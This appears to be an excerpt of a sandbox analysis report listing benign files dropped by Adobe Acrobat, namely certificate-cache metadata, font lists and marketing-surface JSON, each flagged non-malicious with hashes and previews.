Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklavIltfllXlE/HT8kQzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKDAeT8jVNMa8RdWBwRd
MD5:	30F001AD7B19E12112F8E6964D98617C
SHA1:	085E6A516969E5B9C602AA3EE8ACE1DF07AF29CF
SHA-256:	E44189AE7CE1CB4F5B2D0B328988CA38F331D3804656E6632E021FD9963DED8B
SHA-512:	EEE0B515A12A2A31C7BAAEFDE7F2FA5EB778E0283D9094950628D4F21A64467A8697329362710CFF9A3BC03FFFB5161539504F32681F7A5D141DB507283AB0D0
Malicious:	false
Preview:	p...... .........#..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKX3/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:v/iDImsLNkPlE99SNxAhUe/3
MD5:	C50578C9EA4DDEDAA16ECF1137693E22
SHA1:	AAF41D7568274A9AAC75D48F1D520B571212E35D
SHA-256:	5CDC9B74B2C2BD03E5B413C0AA15F85C9E87689DF09041895CDD6CA5181EA5BD
SHA-512:	9D4C2D78F34253B4CF1D2565BCF1562A2E687B23F58DE0DF299E76F14DC5E62C0AECA47EA536219250FC4EC75F077E5C3486BDBC70D4DE3A12D4BE376569E54A
Malicious:	false
Preview:	p...... ........A...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6584

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6584

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3327469479404614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJM3g98kUwPeUkwRe9:YvXKXL/ayYpW7FGMbLUkee9
MD5:	688A85AF3156D83BE82B3BF9AF7B365E
SHA1:	AD0540DACA9ABEFF080824615E10E6E0AC862DC0
SHA-256:	C3A88B8D5248718DAF9D0DA7D7F33E31F93B22594EF49911C902FFBD517B1165
SHA-512:	46D9216218A07EA29FDC95B1E9908B0F592C159D79D37EC0D5D886C392195237FCF5983714BC36DD8C81A22A9A44C5BA492139DE67FFED33D46E757A0748E2CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.270358397038123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfBoTfXpnrPeUkwRe9:YvXKXL/ayYpW7FGWTfXcUkee9
MD5:	5B68B251554A9AA52AB39970CE728001
SHA1:	A9F653417110D941985526378B5FBCFA495E3FCD
SHA-256:	3AC7C454DFBBFB1E12066E38DA1E279224C20C28D233A01632D2632B7EECE951
SHA-512:	EF1B4885A4506F0BF802E4F232DE8D8A1009BA38C05E9105F5B90BED382435E4765D3953E07506ADB4D3F2E30E7FD30F25F49CFD15BC836FCE748C6C5AD7D766
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.248906713564128
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfBD2G6UpnrPeUkwRe9:YvXKXL/ayYpW7FGR22cUkee9
MD5:	E32A81F263437B9AB48677274DDA5E79
SHA1:	5A821FB0535D96F83A517BDBDB03B9CD99017AE5
SHA-256:	7EB515C76402E973A9D8BAE40F704436FC22827DAFCD17BCCCEA9EC230292D3B
SHA-512:	8869CC01EFDACD77D9157DC8B454DC934DC277F86C2D8B85BDD5717BB62CD902D5B7935D47505E40CDC2AE71F3AB30020C357DEA9348BED57EF7F2195C028EA2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.310565564598723
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfPmwrPeUkwRe9:YvXKXL/ayYpW7FGH56Ukee9
MD5:	4918D0CD46B6F5F8B8A0F1846FFB8031
SHA1:	CB2446BEC65477458804C547CBB4E54EC5C0F5FD
SHA-256:	56C8AAE6195EB9471B9ACC3DA0FEDE716E31BFBE698244782F0DE1684A72F0A7
SHA-512:	2E9235B9B07AF97807957BEB09187A008FE95B581DA49FF65B167D4B698F369E88E56191925FB59597F40A8AD9C4CC6FB1CE4020C0D8A08688ECB3E0292854E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68377347350352
Encrypted:	false
SSDEEP:	24:Yv6XzSiKpLgE9cQx8LennAvzBvkn0RCmK8czOCCSc:YvCKhgy6SAFv5Ah8cv/c
MD5:	4334BDE92A67D8F9A4C5FE5851CF4C88
SHA1:	E25A4C6B2823E2E481BFD3E58F1402CCF5648B5C
SHA-256:	4D2853B3D0FACE45989357CCE11D965593595F5723D02F9140DD7BC1FE8E356F
SHA-512:	76DCA80CBDD6A532BCC42E53469CEAF7E5E01DA41A03089979864038F58C126E127893D91C04F4CD0F31D3073668B313BCD0317D3E352B4789CFB58A3B5FE8EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.256252497163194
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJf8dPeUkwRe9:YvXKXL/ayYpW7FGU8Ukee9
MD5:	D805D708003A705AA2B7E9E7E063124B
SHA1:	AFFE26478EEF250155C1FD114350E127A74FD9BE
SHA-256:	299B7EBE4035F21A941BE81001DD2D18B4741717CC8071999F43FC9E245354AB
SHA-512:	914FE2BD9F9504DCC12BCE4333BFE4C132DBA4C05229FA6AE8228F34C7998CF3A59740E1DE64A2D5AC6796C36EF94E9B6BEB49BBEF5001DBE99251C04BCB52FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.257675357226697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfQ1rPeUkwRe9:YvXKXL/ayYpW7FGY16Ukee9
MD5:	9E33EE05B9A1945BF5B68AFC95FE1823
SHA1:	D3EDD9D9A6C3633C1C6A0C907777CED2D3C9DC8C
SHA-256:	FB1E4098D98292F01E0F4590EBE6D18F78318D8BD2859AA5DD6811BCA784830A
SHA-512:	5CE27944828445713DCFE3D11AB4C178D850BABB715740B9BDDA9DBDD11FC47098E8638DC5FB3D3C9DEC4AF818353C6E681512B2A525D92B6799F1CD688D574A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277774726093119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfFldPeUkwRe9:YvXKXL/ayYpW7FGz8Ukee9
MD5:	C32FC226A6250149C9D80ABC88D8B514
SHA1:	1B0976AB3DC7F942952ABF6C2603D944AF76C914
SHA-256:	80208B9A6A0A37E2AA6D2E357E568077977560CAA6116710C23D70A4DA30EB3F
SHA-512:	18C61A3E15117BA8F07735CE8011049D25481F8BC09A17B4E9AB191CB24B47DD1065BF170C1A1BCC6B3F7E010D298FD9A4264AF979E4F3E8ABEB148F26D4498D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.284308711278534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfzdPeUkwRe9:YvXKXL/ayYpW7FGb8Ukee9
MD5:	3036FB97C5D884336833E8CB617AD49D
SHA1:	DDD65E183E37B2F642F8D1A984CCA17697A6B07F
SHA-256:	A0CDC38C402E3ED8BDCBDFF3427C62B92AC819472095FBBFE438089F52F3355C
SHA-512:	C8648173DC9FEAD80C6A026220B9AB0479148DD0D59A5EB02B1F59B79A60AD8F4B8528D9B1108BBBC84322F9C536A80EBF64CF922866BE6285C25548CD7C645A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.264224670461077
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfYdPeUkwRe9:YvXKXL/ayYpW7FGg8Ukee9
MD5:	B88EDAE6FE00611AB06E1D5C15369AC1
SHA1:	6A69B82BCAC8DED7E5FE29667EB4522566AB616D
SHA-256:	5ED71FA095DF272A4E6A00C2435F14E14AB35367897EDC9F5B5A5871DF208D82
SHA-512:	8FBD87485B2369B2552DEF405EC2EA6B248103D21E26F4A925238931BA640333C971FD87302A8D76A2D539F0226FE4733053B25AAA49C74EFC271FD28A2D9B02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.249944186860555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJf+dPeUkwRe9:YvXKXL/ayYpW7FG28Ukee9
MD5:	B2A870FEB4A091A592CEC88CA0DAEF8E
SHA1:	D3683CBAE3C5516A8BFADA94FE1F6B3E54F25582
SHA-256:	23D2DCEA2A6DB3DF1E23C4EA66D7782119F0C7C8187552A7FF9DDC4AA81E4CF2
SHA-512:	B36367ECF71D5A9EB25E793323D3082D8969DC33213BFD35702021AE577B056657157329671DF8E410341FD616690567D0FD88F581722FC2B0A3C790365C10AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2480176466884725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJfbPtdPeUkwRe9:YvXKXL/ayYpW7FGDV8Ukee9
MD5:	D40E32BB6F3866B71F9FF53FB849269F
SHA1:	8B573A5F852F7FA0088D3712D72FFE96DC0485BB
SHA-256:	97AD7AAD41E9C3AF21ECD78084D5E332785BE2FEAF0EB58B525CBBF4A3A4A9EC
SHA-512:	343719F9C103C5BC5EFFF431CA06E74093056818BEE20206EF2F38A955CF8BEB2CD4FE644B0BEECBEFC920F9EA37F20A1A30C7E62F68C2C87E89CC1CD903CEE4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8e5c0504-f65f-40c9-8431-42ae6233d32a","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736729994911,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.249195681985969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPA7W/sEo7+FIbRI6XVW7+0Y7oAvJf21rPeUkwRe9:YvXKXL/ayYpW7FG+16Ukee9
MD5:	FAAB01D330079BED311C7DB5686601FC
